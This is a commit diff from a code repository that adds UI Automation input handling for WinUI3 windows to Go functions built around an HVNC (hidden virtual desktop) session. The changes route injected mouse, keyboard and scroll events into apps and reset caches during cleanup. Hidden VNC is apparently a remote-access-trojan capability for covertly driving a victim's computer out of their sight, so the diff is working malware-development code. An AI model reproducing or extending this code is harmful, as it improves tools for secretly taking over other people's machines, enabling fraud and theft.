add back UIA for inputs on WinUI3 elements
This commit is contained in:
File diff suppressed because it is too large
Load Diff
@@ -405,6 +405,12 @@ func CleanupHVNCDesktop() {
|
|||||||
}
|
}
|
||||||
hvncInitialized = false
|
hvncInitialized = false
|
||||||
hvncExplorerStarted = false
|
hvncExplorerStarted = false
|
||||||
|
|
||||||
|
uiaCleanup()
|
||||||
|
uiaClearActiveElement()
|
||||||
|
resetWinUI3Cache()
|
||||||
|
resetInputSiteCache()
|
||||||
|
|
||||||
if hvncThreadTasks != nil {
|
if hvncThreadTasks != nil {
|
||||||
close(hvncThreadTasks)
|
close(hvncThreadTasks)
|
||||||
hvncThreadTasks = nil
|
hvncThreadTasks = nil
|
||||||
@@ -1038,6 +1044,13 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
|
|||||||
procSetActiveWindow.Call(root)
|
procSetActiveWindow.Call(root)
|
||||||
procSetFocus.Call(hitHwnd)
|
procSetFocus.Call(hitHwnd)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if isWinUI3Window(hitHwnd) {
|
||||||
|
uiaHandleDragMove(pt)
|
||||||
|
uiaHandleMouseMove(hitHwnd, pt)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
clientPt := pt
|
clientPt := pt
|
||||||
procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt)))
|
procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt)))
|
||||||
postMouseMessage(hitHwnd, WM_MOUSEMOVE, uintptr(currentMouseButtons()), clientPt)
|
postMouseMessage(hitHwnd, WM_MOUSEMOVE, uintptr(currentMouseButtons()), clientPt)
|
||||||
@@ -1059,6 +1072,11 @@ func hvncMouseButtonOnThread(button int, down bool) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// WinUI3 branch: route through UIA patterns
|
||||||
|
if isWinUI3Window(hitHwnd) {
|
||||||
|
return uiaHandleMouseButton(hitHwnd, pt, button, down)
|
||||||
|
}
|
||||||
|
|
||||||
root := rootWindow(hitHwnd)
|
root := rootWindow(hitHwnd)
|
||||||
prevWorking := getWorkingWindow()
|
prevWorking := getWorkingWindow()
|
||||||
rememberWorkingWindow(hitHwnd)
|
rememberWorkingWindow(hitHwnd)
|
||||||
@@ -1176,6 +1194,13 @@ func hvncKeyOnThread(vk uint16, down bool) error {
|
|||||||
}
|
}
|
||||||
updateModifierState(vk, down)
|
updateModifierState(vk, down)
|
||||||
|
|
||||||
|
if isWinUI3Window(hwnd) {
|
||||||
|
if isModifierVK(vk) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return uiaHandleKey(hwnd, vk, down)
|
||||||
|
}
|
||||||
|
|
||||||
if isModifierVK(vk) {
|
if isModifierVK(vk) {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -1441,6 +1466,11 @@ func hvncMouseWheelOnThread(delta int32) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if isWinUI3Window(hwnd) {
|
||||||
|
return uiaHandleMouseWheel(hwnd, pt, delta)
|
||||||
|
}
|
||||||
|
|
||||||
wparam := (uintptr(uint16(delta)) << 16) | uintptr(currentMouseButtons())
|
wparam := (uintptr(uint16(delta)) << 16) | uintptr(currentMouseButtons())
|
||||||
procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(pt.x, pt.y))
|
procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(pt.x, pt.y))
|
||||||
return nil
|
return nil
|
||||||
|
|||||||
Reference in New Issue
Block a user